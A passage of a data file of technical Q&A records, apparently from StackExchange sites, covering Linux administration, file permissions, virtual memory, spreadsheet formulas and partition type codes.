/dev/disk/by-id/dm-name-fedora-swap.Jul 30 21:54:00 localhost.localdomain systemd[1]: Deactivated swap /dev/dm-0.Jul 30 21:54:00 localhost.localdomain systemd[1]: Deactivated swap /dev/mapper/fedora-swap.Jul 30 21:54:00 localhost.localdomain mysqld_safe[1080]: 150730 21:54:00 mysqld_safe mysqld from pid file /var/run/mariadb/mariadb.pid endedJul 30 21:54:00 localhost.localdomain systemd[1]: Stopped MariaDB 10.0 database server.Jul 30 21:54:00 localhost.localdomain systemd[1]: Stopped target Network.Jul 30 21:54:00 localhost.localdomain systemd[1]: Stopping Network.Jul 30 21:54:00 localhost.localdomain systemd[1]: Stopping Network Manager...Jul 30 21:54:00 localhost.localdomain audit[1]: <audit-1131> pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='unit=maJul 30 21:54:00 localhost.localdomain NetworkManager[802]: <info>  caught signal 15, shutting down normally.Jul 30 21:54:00 localhost.localdomain NetworkManager[802]: <info>  exiting (success)Jul 30 21:54:00 localhost.localdomain systemd[1]: Stopped Network Manager.Jul 30 21:54:00 localhost.localdomain audit[1]: <audit-1131> pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='unit=NeJul 30 21:54:00 localhost.localdomain systemd[1]: Stopped target Basic System.Jul 30 21:54:00 localhost.localdomain systemd[1]: Stopping Basic System.Jul 30 21:54:00 localhost.localdomain systemd[1]: Stopped dnf makecache timer.Jul 30 21:54:00 localhost.localdomain systemd[1]: Stopping dnf makecache timer.Jul 30 21:54:00 localhost.localdomain systemd[1]: Stopped target Sockets.Jul 30 21:54:00 localhost.localdomain systemd[1]: Stopping Sockets.Jul 30 21:54:00 localhost.localdomain systemd[1]: Closed Open-iSCSI iscsiuio Socket.Jul 30 21:54:00 localhost.localdomain systemd[1]: Stopping Open-iSCSI iscsiuio Socket.Jul 30 21:54:00 localhost.localdomain systemd[1]: Closed D-Bus System Message Bus Socket.Jul 30 21:54:00 localhost.localdomain systemd[1]: Stopping D-Bus System Message Bus Socket.Jul 30 21:54:00 localhost.localdomain systemd[1]: Closed Avahi mDNS/DNS-SD Stack Activation Socket.Jul 30 21:54:00 localhost.localdomain systemd[1]: Stopping Avahi mDNS/DNS-SD Stack Activation Socket.Jul 30 21:54:00 localhost.localdomain systemd[1]: Closed Open-iSCSI iscsid Socket.Jul 30 21:54:00 localhost.localdomain systemd[1]: Stopping Open-iSCSI iscsid Socket.Jul 30 21:54:00 localhost.localdomain systemd[1]: Closed CUPS Scheduler.Jul 30 21:54:00 localhost.localdomain systemd[1]: Stopping CUPS Scheduler.Jul 30 21:54:00 localhost.localdomain systemd[1]: Stopped Forward Password Requests to Plymouth Directory Watch.Jul 30 21:54:00 localhost.localdomain systemd[1]: Stopping Forward Password Requests to Plymouth Directory Watch.Jul 30 21:54:00 localhost.localdomain systemd[1]: Stopped target Slices.Jul 30 21:54:00 localhost.localdomain systemd[1]: Stopping Slices.Jul 30 21:54:00 localhost.localdomain systemd[1]: Removed slice User and Session Slice.Jul 30 21:54:00 localhost.localdomain systemd[1]: Stopping User and Session Slice.Jul 30 21:54:00 localhost.localdomain systemd[1]: Stopped target Paths.Jul 30 21:54:00 localhost.localdomain systemd[1]: Stopping Paths.Jul 30 21:54:00 localhost.localdomain systemd[1]: Stopped Forward Password Requests to Wall Directory Watch.Jul 30 21:54:00 localhost.localdomain systemd[1]: Stopping Forward Password Requests to Wall Directory Watch.Jul 30 21:54:00 localhost.localdomain systemd[1]: Stopped CUPS Scheduler.Jul 30 21:54:00 localhost.localdomain systemd[1]: Stopping CUPS Scheduler.Jul 30 21:54:00 localhost.localdomain systemd[1]: Stopped target System Initialization.Jul 30 21:54:00 localhost.localdomain systemd[1]: Stopping System Initialization.Jul 30 21:54:00 localhost.localdomain systemd[1]: Stopped Apply Kernel Variables.Jul 30 21:54:00 localhost.localdomain systemd[1]: Stopping Apply Kernel Variables...Jul 30 21:54:00 localhost.localdomain systemd[1]: Stopped target Swap.Jul 30 21:54:00 localhost.localdomain systemd[1]: Stopping Swap.Jul 30 21:54:00 localhost.localdomain systemd[1]: Stopped target Encrypted Volumes.Jul 30 21:54:00 localhost.localdomain systemd[1]: Stopping Encrypted Volumes.Jul 30 21:54:00 localhost.localdomain systemd[1]: Stopped Setup Virtual Console.Jul 30 21:54:00 localhost.localdomain systemd[1]: Stopping Setup Virtual Console...Jul 30 21:54:00 localhost.localdomain systemd[1]: Stopping Load/Save Random Seed...Jul 30 21:54:00 localhost.localdomain systemd[1]: Stopping Security Auditing Service...Jul 30 21:54:00 localhost.localdomain audit[1]: <audit-1131> pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='unit=sylines 233633-233668Jul 30 21:54:00 localhost.localdomain auditd[674]: The audit daemon is exiting.Jul 30 21:54:01 localhost.localdomain kernel: audit_printk_skb: 24 callbacks suppressedJul 30 21:54:01 localhost.localdomain kernel: audit: type=1305 audit(1438314840.965:1580): audit_pid=0 old=674 auid=4294967295 ses=4294967295 subj=syJul 30 21:54:01 localhost.localdomain kernel: audit: type=1131 audit(1438314840.967:1581): pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:sJul 30 21:54:01 localhost.localdomain kernel: audit: type=1131 audit(1438314840.969:1582): pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:sJul 30 21:54:01 localhost.localdomain kernel: audit: type=1131 audit(1438314840.969:1583): pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:sJul 30 21:54:01 localhost.localdomain kernel: audit: type=1131 audit(1438314840.999:1584): pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:sJul 30 21:54:00 localhost.localdomain systemd[1]: Stopped Security Auditing Service.Jul 30 21:54:00 localhost.localdomain systemd[1]: Stopped Create Volatile Files and Directories.Jul 30 21:54:00 localhost.localdomain systemd[1]: Stopping Create Volatile Files and Directories...Jul 30 21:54:00 localhost.localdomain systemd[1]: Stopped Import network configuration from initramfs.Jul 30 21:54:00 localhost.localdomain systemd[1]: Stopping Import network configuration from initramfs...Jul 30 21:54:00 localhost.localdomain systemd[1]: Stopped target Local File Systems.Jul 30 21:54:00 localhost.localdomain systemd[1]: Stopping Local File Systems.Jul 30 21:54:00 localhost.localdomain systemd[1]: Unmounting Configuration File System...Jul 30 21:54:00 localhost.localdomain systemd[1]: Unmounting /run/user/42...Jul 30 21:54:00 localhost.localdomain systemd[1]: Unmounting /run/user/1000/gvfs...Jul 30 21:54:00 localhost.localdomain systemd[1]: Stopping Monitoring of LVM2 mirrors, snapshots etc. using dmeventd or progress polling...Jul 30 21:54:01 localhost.localdomain systemd[1]: Unmounted Configuration File System.Jul 30 21:54:01 localhost.localdomain systemd[1]: Unmounted /run/user/42.Jul 30 21:54:01 localhost.localdomain systemd[1]: Unmounted /run/user/1000/gvfs.Jul 30 21:54:00 localhost.localdomain audit: <audit-1305> audit_pid=0 old=674 auid=4294967295 ses=4294967295 subj=system_u:system_r:auditd_t:s0 res=1Jul 30 21:54:00 localhost.localdomain audit[1]: <audit-1131> pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='unit=auJul 30 21:54:00 localhost.localdomain audit[1]: <audit-1131> pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='unit=syJul 30 21:54:00 localhost.localdomain audit[1]: <audit-1131> pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='unit=feJul 30 21:54:00 localhost.localdomain audit[1]: <audit-1131> pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='unit=syJul 30 21:54:01 localhost.localdomain systemd[1]: Stopped Monitoring of LVM2 mirrors, snapshots etc. using dmeventd or progress polling.Jul 30 21:54:01 localhost.localdomain audit[1]: <audit-1131> pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='unit=lvJul 30 21:54:01 localhost.localdomain systemd[1]: Unmounted Temporary Directory.Jul 30 21:54:01 localhost.localdomain kernel: audit: type=1131 audit(1438314841.011:1585): pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:sJul 30 21:54:01 localhost.localdomain lvm[11213]: 2 logical volume(s) in volume group fedora unmonitoredJul 30 21:54:01 localhost.localdomain audit[1]: <audit-1131> pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='unit=lvJul 30 21:54:01 localhost.localdomain systemd[1]: Unmounted Temporary Directory.Jul 30 21:54:01 localhost.localdomain kernel: audit: type=1131 audit(1438314841.011:1585): pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:sJul 30 21:54:01 localhost.localdomain lvm[11213]: 2 logical volume(s) in volume group fedora unmonitoredJul 30 21:54:01 localhost.localdomain systemd[1]: Stopping LVM2 metadata daemon...Jul 30 21:54:01 localhost.localdomain systemd[1]: Unmounting /run/user/1000...Jul 30 21:54:01 localhost.localdomain systemd[1]: Stopped Configure read-only root support.Jul 30 21:54:01 localhost.localdomain systemd[1]: Stopping Configure read-only root support...Jul 30 21:54:01 localhost.localdomain audit[1]: <audit-1131> pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='unit=feJul 30 21:54:01 localhost.localdomain kernel: audit: type=1131 audit(1438314841.024:1586): pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:sJul 30 21:54:01 localhost.localdomain systemd[1]: Stopped LVM2 metadata daemon.Jul 30 21:54:01 localhost.localdomain kernel: audit: type=1131 audit(1438314841.026:1587): pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:sJul 30 21:54:01 localhost.localdomain audit[1]: <audit-1131> pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='unit=lvJul 30 21:54:01 localhost.localdomain systemd[1]: Unmounted /run/user/1000.Jul 30 21:54:01 localhost.localdomain systemd[1]: Reached target Unmount All Filesystems.Jul 30 21:54:01 localhost.localdomain systemd[1]: Starting Unmount All Filesystems.Jul 30 21:54:01 localhost.localdomain systemd[1]: Stopped target Local File Systems (Pre).Jul 30 21:54:01 localhost.localdomain systemd[1]: Stopping Local File Systems (Pre).Jul 30 21:54:01 localhost.localdomain systemd[1]: Stopped Remount Root and Kernel File Systems.Jul 30 21:54:01 localhost.localdomain systemd[1]: Stopping Remount Root and Kernel File Systems...Jul 30 21:54:01 localhost.localdomain systemd[1]: Stopped Create Static Device Nodes in /dev.Jul 30 21:54:01 localhost.localdomain systemd[1]: Stopping Create Static Device Nodes in /dev...Jul 30 21:54:01 localhost.localdomain systemd[1]: Reached target Shutdown.Jul 30 21:54:01 localhost.localdomain systemd[1]: Starting Shutdown.Jul 30 21:54:01 localhost.localdomain systemd[1]: Reached target Final Step.Jul 30 21:54:01 localhost.localdomain systemd[1]: Starting Final Step.Jul 30 21:54:01 localhost.localdomain kernel: audit: type=1131 audit(1438314841.041:1588): pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:sJul 30 21:54:01 localhost.localdomain kernel: audit: type=1131 audit(1438314841.041:1589): pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:sJul 30 21:54:01 localhost.localdomain audit[1]: <audit-1131> pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='unit=syJul 30 21:54:01 localhost.localdomain audit[1]: <audit-1131> pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='unit=sy-- Reboot --"  , "title": "Fedora 22 does not shut down"  , "tags": "fedora"  } 
{  "id": "_unix.31250"  , "question": " /var/www$ wget http://ftp.drupal.org/files/projects/drupal-7.0.tar.gzThis results in:    --2012-02-08 21:20:17--  http://ftp.drupal.org/files/projects/drupal-7.0.tar.gzResolving ftp.drupal.org... 64.50.233.100, 64.50.236.52Connecting to ftp.drupal.org|64.50.233.100|:80... connected.HTTP request sent, awaiting response... 200 OKLength: 2728271 (2.6M) [application/x-gzip]drupal-7.0.tar.gz: Permission deniedCannot write to `drupal-7.0.tar.gz' (Permission denied).eyedea@eyedea-ER912AA-ABA-SR1810NX-NA620:/var/www$ ^Ceyedea@eyedea-ER912AA-ABA-SR1810NX-NA620:/var/www$ wget http://ftp.drupal.org/files/projects/drupal-7.0.tar.gz--2012-02-08 21:46:34--  http://ftp.drupal.org/files/projects/drupal-7.0.tar.gzResolving ftp.drupal.org... 64.50.236.52, 64.50.233.100Connecting to ftp.drupal.org|64.50.236.52|:80... connected.HTTP request sent, awaiting response... 200 OKLength: 2728271 (2.6M) [application/x-gzip]drupal-7.0.tar.gz: Permission deniedCannot write to `drupal-7.0.tar.gz' (Permission denied).I checked the permissions of /var/www and i can't change them. What's going on here?"  , "title": "Permission Denied when downloading Drupal"  , "tags": "linux;permissions"  , "accepted_answer": "It's totally normal. your /var/www directory belongs to root user and root group with those rights drwxr-xr-x.It's far more better to have /var/www belonging to root, because it will forbid possible security flaws in apache or php to write and change source code on this server. What you can do about that : Make your wget with root rights. For instance :$ sudo wget http://ftp.drupal.org/files/projects/drupal-7.0.tar.gzor$ su -c wget http://ftp.drupal.org/files/projects/drupal-7.0.tar.gzDownload it from your $HOME and untar it afterwards$ cd ~; wget http://ftp.drupal.org/files/projects/drupal-7.0.tar.gzIgnore those security recommendations and change rights of /var/www$ sudo chown `id -u`:`id -g` /var/wwwEDIT : If you have broken your /var/www tree with a chmod -R 777 /var/www/* and haven't burn in hell, you can thank god and quickly execute those commands before he comes for you :$ sudo find /var/www -type d -exec chmod 755 {} \\;$ sudo find /var/www -type f -exec chmod 644 {} \\;"  } 
{  "id": "_unix.339434"  , "question": "I recently install kali linux 2016.2 (64 bit) in my computer. Not vmware nor virture box. i installed it as dual boot with window. i connected to the wifi just fine (using right-up-corner button) before i tried to set it static ip. After doing some stuff now it can not see any network around.ifconfig does show wlan0 and it it up too but when i type:ip link show wlan0it said that the state of interface is DOWN and ifup wlan0 or ip link set wlan0 updoes not change anythingand the weird thing is i still able to scan wifi network around using terminaliw scan wlan0while the list of network (corner button) still blankI am sure that the wifi router is working normally.Any help?"  , "title": "`Kali linux 2016.2` wireless interface is up but not network to select"  , "tags": "wifi;kali linux"  } 
{  "id": "_unix.44592"  , "question": "Since last few days, I'm facing some problem. It's about response to 100 users. Situation goes like this. On one end there are 100 user, each user has unique ID. User is supposed to submit one file to server/mail. At receivers end, someone has to check whether submitted file is in particular format or not. I want to automate to this process, starting from server/mailbox where some script should download submitted file, check it and store result in some output file. Can we setup some server on unix machine?can we use some mailbox to which people can send files in the form of an email?Please suggest some solution."  , "title": "Automate checking user submitted files"  , "tags": "email"  } 
{  "id": "_cs.13274"  , "question": "I know that for executing a program, it should be copied to RAM. But the problem is whole of it may not be copied always. Since the size of the RAM is limited, there is mechanism called virtual memory. If the addressed thing is not in memory, a page fault occurs and the data is copied to the RAM. My question is who keeps track of which data is in the RAM and not in the RAM?"  , "title": "How a program is copied to RAM from harddisk"  , "tags": "operating systems;memory management;virtual memory;memory access"  , "accepted_answer": "The operating system (with help from the CPU) keeps a page table, which is a mapping of each virtual page for to the physical page it is mapped to.  The page table also includes a bit for whether a particular page is currently mapped.  For every load and store instruction the hardware walks the page table (or at least a cached portion of it.)  If the virtual page is currently mapped to a physical page, the hardware figures this out and returns the right data.If the virtual page is currently unmapped then the operating system receives an interrupt.  At this point it looks into the memory map for the process.  This is a list of ranges of virtual memory, the permissions that should be applied to that range, and the file (if any) on disk that stores the data from that range when it is not in RAM.  Typically for the main executable there will be a text segment, data segment and sometimes a read-only data segment (for constants), as well as a bss (zero initialized data) segment, a stack, and the heap managed by malloc.  There may be (usually are) additional text and data segments for each shared object (shared library) that the program needs to load.You can use mmap() to tell a Posix operating system to create a new region in the memory map, the permissions for that region, and which file to use to back that region.  On Linux, for an existing process you can get a listing of its currently mapped regions using the pmap command."  } 
{  "id": "_webapps.105789"  , "question": "I was creating an accounting log, so right now I'm using:    =SUM(FILTER(Transactions!C:C,Transactions!B:B>=D23,Transactions!B:B<=E23,Transactions!E:E=Summary!C65),FILTER(Transactions!C:C,Transactions!B:B>=D23,Transactions!B:B<=E23,Transactions!E:E=Summary!C66),FILTER(Transactions!C:C,Transactions!B:B>=D23,Transactions!B:B<=E23,Transactions!E:E=Summary!C67),FILTER(Transactions!C:C,Transactions!B:B>=D23,Transactions!B:B<=E23,Transactions!E:E=Summary!C68))The first two criteria in the filter function checks if the range is within a specific date range, and the final criterion checks if the type of transaction is relevant. But it's not letting me compare multiple values so I have to keep repeating the filter function.Posting the same formula for more clarity=SUM(FILTER(Transactions!C:C,Transactions!B:B>=D23,Transactions!B:B<=E23,Transactions!E:E=Nuts),FILTER(Transactions!C:C,Transactions!B:B>=D23,Transactions!B:B<=E23,Transactions!E:E=Bolts),FILTER(Transactions!C:C,Transactions!B:B>=D23,Transactions!B:B<=E23,Transactions!E:E=Screws),FILTER(Transactions!C:C,Transactions!B:B>=D23,Transactions!B:B<=E23,Transactions!E:E=Clips))So is there a way for me to just compare if the transaction done is Nuts, Bolts, Screws or Clips in one go without having to repeat the filter function?"  , "title": "Avoid repeating using the filter function"  , "tags": "google spreadsheets"  } 
{  "id": "_ai.3072"  , "question": "I'm trying to get a gauge on just how big the programs and databases are these automata.  I understand that this is a changing number, particularly in regard to Machine Learning.Q: How large was Deep Blue when it beat Gary Kasparov?Q: How big was AlphaGo when it beat Lee Sedol?  "  , "title": "What are the (general) sizes of AlphaGo and Deep Blue?"  , "tags": "ai design"  } 
{  "id": "_unix.239199"  , "question": "I'm trying to run a minecraft server on my vServer.Everything works properly when I start the server like this:java -Xmx1G -Xms1G -jar minecraft_server.jar noguiBut I want the server to run in a screen with a command like this:screen -d -m -S mc-server java -Xmx1G -Xms1G -jar minecraft_server.jar noguiBut everytime I try to start it this way there is just a new screen for a few seconds and then it disapears again. Is something wrong in my command or is there another way to see what happend in this scree before it closed itself?Or does screen need some special permissions? I use an separate user and all the serverfiles are in the users homedirectory ..."  , "title": "Starting a minecraft server using screen doesnt work properly"  , "tags": "debian;ssh;permissions;gnu screen;minecraft"  } 
{  "id": "_webapps.26912"  , "question": "Is it possible to enable code folding in jsFiddle? I've found that long Javascript files can become unwieldy without code folding.(I'm referring to the feature in Geany or the Eclipse IDE that makes it possible to collapse text that is surrounded by curly braces.)"  , "title": "Code folding in jsFiddle"  , "tags": "javascript;code;jsfiddle"  } 
{  "id": "_unix.39866"  , "question": "I am loading Linux (Debian Lenny) on VirtualBox but there is apparently something wrong with the GRUB. When I start the system, a grub menu appears:Then I run the following commands:root (hd0,0)  kernel /vmlinuz root=/dev/hda1 ro quiet  initrd /initrd.img  bootAfter the system boots, how should I continue to repair the grub file?Any advice would be appreciated!"  , "title": "How to repair the grub on debian"  , "tags": "debian;grub"  } 
{  "id": "_unix.328817"  , "question": "Consider the following Makefile.all:    yesIf I run make and suspend using Ctrl-Z, and then start screen or tmux, followed by an attempt to reptyr, I get the following error.$ reptyr 5328[-] Process 5329 (yes) shares 5328's process group. Unable to attach.(This most commonly means that 5328 has suprocesses).Unable to attach to pid 5328: Invalid argumentIt is certainly true that make has subprocesses, but is there a way to reptyr anyways, either using this tool or another tool?"  , "title": "Is there a way to reptyr a make process or any process with subprocesses?"  , "tags": "tty;pty;reptyr"  } 
{  "id": "_unix.265293"  , "question": "I have two Audio CDs to prepare for my upcoming English test. I can play the first CD by execute vlc cdda:// in konsole (I use Arch Linux with KDE). I also note that the Audio CD appears in the Devices panel in Dolphin. Unfortunately, for the second CD, nothing appears in Dolphin and I also can't play this CD with vlc.I run cd-info /dev/cdrom  with the the second CD inside and getcd-info version 0.93 x86_64-unknown-linux-gnuCopyright (c) 2003-2005, 2007-2008, 2011-2013 R. BernsteinThis is free software; see the source for copying conditions.There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR APARTICULAR PURPOSE.CD location   : /dev/cdromCD driver name: GNU/Linux   access mode: IOCTLVendor                      : SlimtypeModel                       : DVD A  DS8A5SH  Revision                    : XAA2Hardware                                  : CD-ROM or DVDCan eject                                 : YesCan close tray                            : YesCan disable manual eject                  : YesCan select juke-box disc                  : NoCan set drive speed                       : NoCan read multiple sessions (e.g. PhotoCD) : YesCan hard reset device                     : YesReading....  Can read Mode 2 Form 1                  : Yes  Can read Mode 2 Form 2                  : Yes  Can read (S)VCD (i.e. Mode 2 Form 1/2)  : Yes  Can read C2 Errors                      : Yes  Can read IRSC                           : Yes  Can read Media Channel Number (or UPC)  : Yes  Can play audio                          : Yes  Can read CD-DA                          : Yes  Can read CD-R                           : Yes  Can read CD-RW                          : Yes  Can read DVD-ROM                        : YesWriting....  Can write CD-RW                         : Yes  Can write DVD-R                         : Yes  Can write DVD-RAM                       : Yes  Can write DVD-RW                        : No  Can write DVD+RW                        : No__________________________________Disc mode is listed as: Error in getting information++ WARN: error in ioctl CDROMREADTOCHDR: No medium foundcd-info: Can't get first track number. I give up.I installed libdvdread, libdvdcss, libdvdnav and tried with vlc dvd:///dev/sr0 but konsole returned errors. Can anyone help me to play the CD?"  , "title": "Can not play Audio CD in Arch Linux"  , "tags": "arch linux;vlc;dvd;audio cd"  , "accepted_answer": "Well, here's your error:++ WARN: error in ioctl CDROMREADTOCHDR: No medium foundIt seems your medium is either non-redbook compliant, is faulty or damaged, or your drive is faulty (seems less likely considering the other CD works).If your CD works on another audio player, it may be that it contains Digital Restrictions Management technology, which you don't have the required technology to interact with."  } 
{  "id": "_cogsci.9280"  , "question": "Generally, we think of humans as having a (relatively) advanced level of consciousness, but we don't think of simple molecules as having any sort of mental capacity at all. So where in between does the phenomenon of consciousness arise?Update: I have chosen G.Tononi's definition: the quantity of consciousness corresponds to the amount of integrated information generated by a complex of elements"  , "title": "What is the simplest entity that would be considered conscious?"  , "tags": "consciousness"  } 
{  "id": "_codereview.133910"  , "question": "The following code I am using to lookup the description based on a Partition Type in either a string, an integer or hex value. By calling parttype(parttype) in the below code.Is there a more pythonic way for this?__PARTTYPE_TO_DESCRIPTION__ = {    00: Empty,    01: DOS 12-bit FAT,    02: XENIX root,    03: XENIX /usr,    04: DOS 3.0+ 16-bit FAT (up to 32M),    05: DOS 3.3+ Extended Partition,    06: DOS 3.31+ 16-bit FAT (over 32M),    07: Windows NTFS | OS/2 IFS | exFAT | Advanced Unix | QNX2.x pre-1988,    08: AIX boot | OS/2 (v1.0-1.3 only) | SplitDrive | Commodore DOS | DELL partition spanning multiple drives | QNX 1.x and 2.x ('qny'),    09: AIX data | Coherent filesystem | QNX 1.x and 2.x ('qnz'),    0a: OS/2 Boot Manager | Coherent swap partition | OPUS,    0b: WIN95 OSR2 FAT32,    0c: WIN95 OSR2 FAT32, LBA-mapped,    0d: SILICON SAFE,    0e: WIN95: DOS 16-bit FAT, LBA-mapped,    0f: WIN95: Extended partition, LBA-mapped,    10: OPUS (? - not certain - ?),    11: Hidden DOS 12-bit FAT | Leading Edge DOS 3.x logically sectored FAT,    12: Configuration/diagnostics partition,    14: Hidden DOS 16-bit FAT <32M | AST DOS with logically sectored FAT,    16: Hidden DOS 16-bit FAT >=32M,    17: Hidden IFS,    18: AST SmartSleep Partition,    19: Claimed for Willowtech Photon coS,    1b: Hidden WIN95 OSR2 FAT32,    1c: Hidden WIN95 OSR2 FAT32, LBA-mapped,    1e: Hidden WIN95 16-bit FAT, LBA-mapped,    20: Rumoured to be used by Willowsoft Overture File System,    21: Reserved for: HP Volume Expansion, SpeedStor variant | Claimed for FSo2 (Oxygen File System),    22: Claimed for Oxygen Extended Partition Table,    23: Reserved - unknown,    24: NEC DOS 3.x,    26: Reserved - unknown,    27: PQservice | Windows RE hidden partition | MirOS partition | RouterBOOT kernel partition,    2a: AtheOS File System (AFS),    2b: SyllableSecure (SylStor),    31: Reserved - unknown,    32: NOS,    33: Reserved - unknown,    34: Reserved - unknown,    35: JFS on OS/2 or eCS ,    36: Reserved - unknown,    38: THEOS ver 3.2 2gb partition,    39: Plan 9 partition | THEOS ver 4 spanned partition,    3a: THEOS ver 4 4gb partition,    3b: THEOS ver 4 extended partition,    3c: PartitionMagic recovery partition,    3d: Hidden NetWare,    40: Venix 80286 | PICK | Linux/MINIX,     41: Personal RISC Boot | PPC PReP (Power PC Reference Platform) Boot,    42: Windows dynamic extended partition | Linux swap | SFS (Secure Filesystem),    43: Linux native,    44: GoBack partition,    45: Boot-US boot manager | Priam | EUMEL/Elan ,    46: EUMEL/Elan,    47: EUMEL/Elan,    48: EUMEL/Elan,    4a: Mark Aitchison's ALFS/THIN lightweight filesystem for DOS | AdaOS Aquila (Withdrawn),    4c: Oberon partition,    4d: QNX4.x,    4e: QNX4.x 2nd part,    4f: QNX4.x 3rd part | Oberon partition,    50: OnTrack Disk Manager (older versions) RO | Lynx RTOS | Native Oberon (alt),    51: OnTrack Disk Manager RW (DM6 Aux1) | Novell,    52: CP/M | Microport SysV/AT,    53: Disk Manager 6.0 Aux3,    54: Disk Manager 6.0 Dynamic Drive Overlay (DDO),    55: EZ-Drive,    56: Golden Bow VFeature Partitioned Volume | DM converted to EZ-BIOS | AT&T MS-DOS 3.x logically sectored FAT,    57: DrivePro | VNDI Partition,    5c: Priam EDisk,    61: SpeedStor,    63: Unix System V (SCO, ISC Unix, UnixWare, ...), Mach, GNU Hurd,    64: PC-ARMOUR protected partition | Novell Netware 286, 2.xx,    65: Novell Netware 386, 3.xx or 4.xx,    66: Novell Netware SMS Partition,    67: Novell,    68: Novell,    69: Novell Netware 5+, Novell Netware NSS Partition,    70: DiskSecure Multi-Boot,    71: Reserved - unknown,    72: V7/x86,    73: Reserved - unknown,    74: Scramdisk partition | Reserved - unknown,    75: IBM PC/IX,    76: Reserved - unknown,    77: M2FS/M2CS partition | VNDI Partition,    78: XOSL FS,    7e: Claimed for F.I.X.,    7f: Proposed for the Alt-OS-Development Partition Standard,    80: MINIX until 1.4a,    81: MINIX since 1.4b, early Linux | Mitac disk manager,    82: Linux swap | Solaris x86 | Prime,    83: Linux native partition,    84: OS/2 hidden C: drive | Hibernation partition,    85: Linux extended partition,    86: Old Linux RAID partition superblock | FAT16 volume set,    87: NTFS volume set,    88: Linux plaintext partition table,    8a: Linux Kernel Partition (used by AiR-BOOT),    8b: Legacy Fault Tolerant FAT32 volume,    8c: Legacy Fault Tolerant FAT32 volume using BIOS extd INT 13h,    8d: Free FDISK 0.96+ hidden Primary DOS FAT12 partitition,    8e: Linux Logical Volume Manager partition,    90: Free FDISK 0.96+ hidden Primary DOS FAT16 partitition,    91: Free FDISK 0.96+ hidden DOS extended partitition,    92: Free FDISK 0.96+ hidden Primary DOS large FAT16 partitition,    93: Hidden Linux native partition | Amoeba,    94: Amoeba bad block table,    95: MIT EXOPC native partitions,    96: CHRP ISO-9660 filesystem,    97: Free FDISK 0.96+ hidden Primary DOS FAT32 partitition,    98: Free FDISK 0.96+ hidden Primary DOS FAT32 partitition (LBA) | Datalight ROM-DOS Super-Boot Partition,    99: DCE376 logical drive,    9a: Free FDISK 0.96+ hidden Primary DOS FAT16 partitition (LBA),    9b: Free FDISK 0.96+ hidden DOS extended partitition (LBA),    9e: ForthOS partition,    9f: BSD/OS,    a0: Laptop hibernation partition,    a1: Laptop hibernation partition | HP Volume Expansion (SpeedStor variant),    a3: HP Volume Expansion (SpeedStor variant),    a4: HP Volume Expansion (SpeedStor variant),    a5: BSD/386, 386BSD, NetBSD, FreeBSD,     a6: OpenBSD | HP Volume Expansion (SpeedStor variant),    a7: NeXTStep,    a8: Mac OS-X,    a9: NetBSD,    aa: Olivetti Fat 12 1.44MB Service Partition,    ab: Mac OS-X Boot partition | GO! partition,    ad: RISC OS ADFS,    ae: ShagOS filesystem,    af: MacOS X HFS | ShagOS swap partition,    b0: BootStar Dummy,    b1: HP Volume Expansion (SpeedStor variant) | QNX Neutrino Power-Safe filesystem,    b2: QNX Neutrino Power-Safe filesystem,    b3: HP Volume Expansion (SpeedStor variant) | QNX Neutrino Power-Safe filesystem,    b4: HP Volume Expansion (SpeedStor variant),    b6: HP Volume Expansion (SpeedStor variant) | Corrupted Windows NT mirror set (master), FAT16 file system,    b7: Corrupted Windows NT mirror set (master), NTFS file system | BSDI BSD/386 filesystem,    b8: BSDI BSD/386 swap partition,    bb: Boot Wizard hidden,    bc: Acronis backup partition,    bd: BonnyDOS/286,    be: Solaris 8 boot partition,    bf: New Solaris x86 partition,    c0: CTOS | REAL/32 secure small partition | NTFT Partition | DR-DOS/Novell DOS secured partition,    c1: DRDOS/secured (FAT-12),    c2: Hidden Linux,    c3: Hidden Linux swap,    c4: DRDOS/secured (FAT-16, < 32M),    c5: DRDOS/secured (extended),    c6: DRDOS/secured (FAT-16, >= 32M) | Windows NT corrupted FAT16 volume/stripe set,    c7: Windows NT corrupted NTFS volume/stripe set | Syrinx boot,    c8: Reserved for DR-DOS 8.0+,    c9: Reserved for DR-DOS 8.0+,    ca: Reserved for DR-DOS 8.0+,    cb: DR-DOS 7.04+ secured FAT32 (CHS),    cc: DR-DOS 7.04+ secured FAT32 (LBA),    cd: CTOS Memdump,    ce: DR-DOS 7.04+ FAT16X (LBA),    cf: DR-DOS 7.04+ secured EXT DOS (LBA),    d0: REAL/32 secure big partition | Multiuser DOS secured partition,    d1: Old Multiuser DOS secured FAT12,    d4: Old Multiuser DOS secured FAT16 <32M,    d5: Old Multiuser DOS secured extended partition,    d6: Old Multiuser DOS secured FAT16 >=32M,    d8: CP/M-86,    da: Non-FS Data | Powercopy Backup,    db: Digital Research CP/M, Concurrent CP/M, Concurrent DOS | CTOS (Convergent Technologies OS -Unisys) | KDG Telemetry SCPU boot,    dd: Hidden CTOS Memdump,    de: Dell 